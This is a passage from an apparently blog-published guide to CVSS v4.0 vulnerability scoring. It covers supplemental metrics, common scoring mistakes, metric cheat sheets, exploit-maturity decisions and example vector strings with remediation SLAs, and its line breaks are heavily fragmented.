 The Supplier shall include CVSS v4
.0
 vectors 
for
 
all
 known
   vulnerabilities 
in
 
all
 Software Bills 
of
 Materials (SBOMs).
4.
 The Supplier shall notify the Buyer 
within
 
24
 hours if 
any
   vulnerability 
in
 delivered software enters the CISA KEV catalog.

Supplemental Metrics: The Overlooked Context Layer​

Supplemental metrics do not change the CVSS score. They add human-readable operational context that the numeric score cannot capture. Think of them as structured analyst notes attached to the vulnerability record.

AU:Y — Automatable Exploitation​

AU:Ymeans an attacker can script the exploit to run against thousands of targets without human intervention. This is the worm-capability indicator.

Why it matters beyond the CVSS score:

Log4Shell (AU:Y) was being exploited by automated scanners within 24 hours of POC release. A CVSS-BTE score of 7.4 High withAU:Yrequires faster response than an 8.0 High withAU:Nthat requires a custom, targeted attack chain.

Real examples withAU:Y:

  • Log4Shell (CVE-2021–44228) —AU:Y: log any HTTP request, mass exploitation immediate

  • MOVEit Transfer (CVE-2023–34362) —AU:Y: Cl0p ran fully automated campaign

  • HTTP/2 Rapid Reset (CVE-2023–44487) —AU:Y: DDoS amplification automated

  • Heartbleed (CVE-2014–0160) —AU:Y: automated scanners ran within hours

S:P — Safety Impact in OT/Medical​

S:P (Safety: Present)flags that exploitation could result in physical harm to people or property. This metric is essential for:

  • Industrial control systems (chemical plants, power grids, water treatment)

  • Medical devices (infusion pumps, ventilators, pacemakers)

  • Automotive systems (ECU vulnerabilities)

Example:
 
Vulnerability
 
in
 
a
 
pharmaceutical
 
manufacturing
 
control
 
system
CVSS-BTE score:
 
5.9
 
Medium
 
(due
 
to
 
MAV:A
 
environmental
 
adjustment)
Supplemental:
 
/S:P
 
(Safety:
 
Present)
Without
 
S:P
 
context,
 
this
 
looks
 
like
 
a
 
90
-day
 
scheduled
 
patch.
With
 
S:P
 
context,
 
the
 
medical
 
device
 
safety
 
team
 
must
 
evaluate
 
whether
the
 
vulnerability
 
could
 
cause
 
incorrect
 
dosing,
 
batch
 
contamination,
or
 
equipment
 
failure
 
-
 
potentially
 
regardless
 
of
 
the
 
numeric
 
CVSS
 
score.

R:I — Irrecoverable Systems​

R:I (Recovery: Irrecoverable)means successful exploitation causes permanent damage that cannot be remediated without hardware replacement, data restoration from backup, or destructive re-imaging.

Relevant scenarios:

  • Ransomware affecting backup systems (R:I — cannot restore without the backups)

  • Firmware corruption on embedded devices (R:I — requires physical device replacement)

  • Cryptographic key material theft (R:I — compromised keys cannot be “un-stolen”)

  • Industrial control setpoint modification causing equipment damage (R:I — physical damage)

The 8 Most Common CVSS Mistakes​

Article image

Mistake 1: Treating the Base Score as the Final Answer​

The Base score is produced by a vendor who has never seen your environment. It reflects the worst-case scenario for their entire customer base. For any specific deployment, it is almost always an overestimate. Always enrich with Threat and Environmental metrics before prioritizing remediation.

**What it looks like:**Team sorts scanner output by Base score, assigns SLAs based on Critical/High/Medium bands from raw scanner, spends 90% of effort on low-risk vulnerabilities because their Base scores are high.

Mistake 2: Never Setting E:U for CVEs Without Exploit Evidence​

LeavingE:X(Not Defined) means CVSS assumes every CVE is actively exploited. Given that ~95% of CVEs have no known working exploit, this guarantees your prioritization is inverted. SettingE:Ufor no-exploit CVEs is not optimism — it is accuracy and it is required for CVSS to function as a tool rather than a scare generator.

**The fix:**Automate KEV + EPSS checks for all new CVEs. Default new CVEs without KEV or EPSS signal toE:U.

Mistake 3: Applying the Same Environmental Profile to All Systems​

An internet-facing web application and an air-gapped industrial controller have entirely different attack vectors, compensating controls, and data sensitivity. Applying identical Environmental metrics to both produces inaccurate scores for both systems. Define asset groups and apply distinct profiles per group.

Mistake 4: Not Documenting Environmental Adjustments​

If you lower a CVE from 9.8 to 4.2 usingMAV:A/MAC:H/MSC:Nbut cannot produce evidence for each adjustment when an auditor asks, those adjustments provide no compliance value. Every Modified metric must cite a specific control, policy, network diagram, or asset classification document.

Mistake 5: Confusing CVSS-BTE with Risk Score​

CVSS-BTE measures severity adjusted for your environment. It is not a risk score. A CVSS-BTE 5.0 Medium vulnerability on a system controlling a nuclear cooling pump may represent existential organizational risk. CVSS informs prioritization within a risk framework — it is not the risk framework itself. Overlay CVSS-BTE with asset criticality, business impact, and regulatory consequence to produce risk decisions.

Mistake 6: Static Environmental Metrics​

Environmental metrics become stale the moment your environment changes. A system that was air-gapped (MAV:A justified) may have had a cloud management connector added three months later. TheMAV:Ayou documented is now wrong, and your 4.5 Medium is actually an 8.9 High.

**The fix:**Tie Environmental metric review to change management. Any change to a system’s network connections, access controls, or data classification should trigger a CVSS-BTE re-evaluation.

Mistake 7: Using v3.x Vectors with v4.0 Tools (and Vice Versa)​

CVSS v4.0 vectors are incompatible with v3.x parsers. TheS(Scope) metric from v3.x does not exist in v4.0; the dual-system impact model (VC/VI/VA + SC/SI/SA) does not exist in v3.x. Tools that parse v3.1 vectors will misinterpret v4.0 vectors and produce incorrect scores. Verify scanner, SIEM, and ticketing system compatibility with CVSS v4.0.

**Check your tools:**As of early 2025, Tenable Nessus, Qualys VMDR, and Rapid7 InsightVM all publish CVSS v4.0 scores for new CVEs, but legacy integrations may still expose v3.1 scores by default. Check API output, not just UI display.

Mistake 8: Treating CISA KEV as the Only Source of E:A​

CISA KEV is the best publicly available source forE:Adetermination, but it has coverage gaps. CISA focuses on US federal agency exposure; some CVEs exploited extensively in other regions or sectors may not appear in KEV. Supplement with:

  • Vendor advisories that explicitly state “under active exploitation”

  • Commercial threat intelligence feeds (Mandiant, Recorded Future, Greynoise)

  • CERT/CC, national CERT advisories (CERT-EU, BSI, ANSSI)

  • Industry-specific ISACs (FS-ISAC for finance, H-ISAC for healthcare)

Quick Reference Cheatsheet​

CVSS v4.0 Base Metrics — Complete Reference​

Article image

ATTACK 
VECTOR
 
(AV)
:
  N = Network     — Remotely exploitable from 
internet
  
A
 
=
 Adjacent    — Same network segment / LAN 
required
  
L
 
=
 Local       — Local interactive shell access 
required
  
P
 
=
 Physical    — Physical device access required
ATTACK 
COMPLEXITY
 
(AC)
:
  L = Low   - Repeatable without special conditions; script 
it
  
H
 
=
 High  - Requires active bypass of security 
mechanisms
 
(ASLR, race condition)
ATTACK 
REQUIREMENTS
 
(AT)
:  [NEW in v4
.0
 - replaces part of old AC]
  N = None    - No special deployment configuration 
needed
  
P
 
=
 Present - Non-
default
 config must be present in deployment
PRIVILEGES 
REQUIRED
 
(PR)
:
  N = None  - Unauthenticated / pre-
auth
  
L
 
=
 Low   - Regular user 
account
  
H
 
=
 High  - Administrator / root / privileged service account
USER 
INTERACTION
 
(UI)
:
  N = None    - Attacker acts alone, no victim 
participation
  
P
 
=
 Passive - Victim views/receives 
something
 
(opens page, email preview)
  A = Active  - Victim explicitly performs an 
action
 
(clicks link, runs file)
VULNERABLE 
SYSTEM
 
(VC/VI/VA)
:  [Replaces C/I/A in v3.x]
  N = 
None
    
H
 
=
 
High
    
L
 
=
 Low
SUBSEQUENT 
SYSTEM
 
(SC/SI/SA)
:  [Replaces Scope Changed in v3.x]
  N = 
None
    
H
 
=
 
High
    
L
 
=
 Low

Exploit Maturity (E) — Decision Flowchart​

Article image

Is CVE 
in
 
CISA
 KEV?
  → 
YES
: E:A (Attacked) ─────────────────────────────────────────┐
  → 
NO
: ↓                                                        │
                                                                 │
Is EPSS ≥ 
0.10
?                                                  │
  → 
YES
 (
0.1
–
0.5
): Verify ExploitDB/Metasploit/GitHub → E:P      │
  → 
YES
 (≥ 
0.5
):  High exploitation probability → E:P minimum    │
  → 
NO
:  ↓                                                       │
                                                                 │
Is there a public exploit? (ExploitDB, Metasploit, GitHub)       │
  → 
YES
: E:P (Proof of Concept)                                  │
  → 
NO
:  E:U (Unreported)                                        │
                                                                 └→ Maximum priority, patch immediately

Environmental Metric Quick Decisions​

Article image

"Is this system reachable from the internet?"
  
YES
 → 
No
 
AV
 change needed       
NO
 → 
MAV
:A
 (
or
 L/P 
for
 more isolated)
"Does reaching this system require bypassing MFA/VPN/jump host?"
  
YES
 → 
MAC
:H
                     
NO
 → 
No
 
AC
 change needed
"Does this system handle your most sensitive data?"
  
NO
 → 
MVC
:L
 (
or
 N)              
YES
 → 
No
 
VC
 change, 
or
 set 
CR
:H
"Can this system affect other systems if compromised?"
  
NO
 → 
MSC
:N/MSI
:N/MSA
:N
        
YES
 → 
No
 change, blast radius is real
"Is this a test/dev environment?"
  
YES
 → 
CR
:L/IR
:L/AR
:L
           
NO
 → 
Keep
 vendor defaults 
or
 
raise
 
CR
/
IR
/
AR

Score Impact Reference (Approximate)​

Article image

Note: CVSS v4.0 uses lookup tables, not formulas — these are empirical approximations.

Common Vector String Examples​

# Worst case — all vendor defaults, no enrichment:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H
→ 
10.0
 
Critical
# Internet-facing, actively exploited (CISA KEV):
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H/E
:A
→ 
10.0
 
Critical
 (
E:
A maintains maximum - patch immediately)
# Internet-facing, POC exists, not yet actively exploited:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H/E
:P
→ ~
8.4
 
High
 (
7
-day 
SLA
)
# Internal (adjacent network), POC exists, MFA VPN required:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H/E
:P/MAV
:A/MAC
:H
→ ~
7.4
 
High
 (
30
-day 
SLA
)
# Internal, isolated (no subsequent system paths), no exploit evidence:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H/E
:U/MAV
:A/MAC
:H/MSC
:N/MSI
:N/MSA
:N
→ ~
4.5
 
Medium
 (
90
-day 
SLA
)
# OT sensor, adjacent network, non-sensitive data, no subsequent paths:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H/E
:U/MAV
:A/MAC
:H/CR
:L/MSC
:N/MSI
:N/MSA
:N
→ ~
3.9
 
Low
 (
next
 maintenance window)

SLA Tiers by CVSS-BTE Score​

Article image

Tools and Resources​

Specification & Guides​

Threat Intelligence​

Complementary Frameworks​

Conclusion​

CVSS v4.0 answers the question that vulnerability managers have been asking for years:“Why is my scanner showing 500 Critical vulnerabilities when I clearly cannot patch all of them this week?”

The answer is not that CVSS is broken. The answer is that CVSS Base scores were never intended to be your final answer. They are the starting point — a common language between a vendor who does not know your environment and a security team that does.

The three-layer model (CVSS-B → CVSS-BT → CVSS-BTE) gives your team the tools to translate a generic score into a deployment-specific one. Threat metrics (E + EPSS) eliminate the false urgency from the 95% of CVEs with no known exploit. Environmental metrics eliminate the false priority from scoring isolated systems as if they were internet-facing.

The real-world examples in this guide — Log4Shell, CitrixBleed, MOVEit, Erlang/OTP, firmware reports — illustrate both directions of this system. Sometimes (Log4Shell, CitrixBleed) the 10.0 score is correct, and environmental arguments are irrelevant: you patch immediately because active exploitation is confirmed and your exposure is real. Sometimes (internal OT sensor, air-gapped development system) a 9.8 Base score correctly becomes a 3.9 Low, not because the vulnerability is less dangerous, but because your deployment makes exploitation genuinely difficult and downstream impact genuinely limited.

That is not gaming the system. That is using the system correctly.

References​

Follow for practical cybersecurity research​

If you’re interested in**Offensive security,**AI security, real-world attack simulations, CTI, and detection engineering— this is exactly what I focus on.

Stay connected:

→Subscribe on Medium:medium.com/@1200km →Connect on LinkedIn:andrey-pautov →GitHub — tools & labs:github.com/anpa1200 →Contact:1200km@gmail.com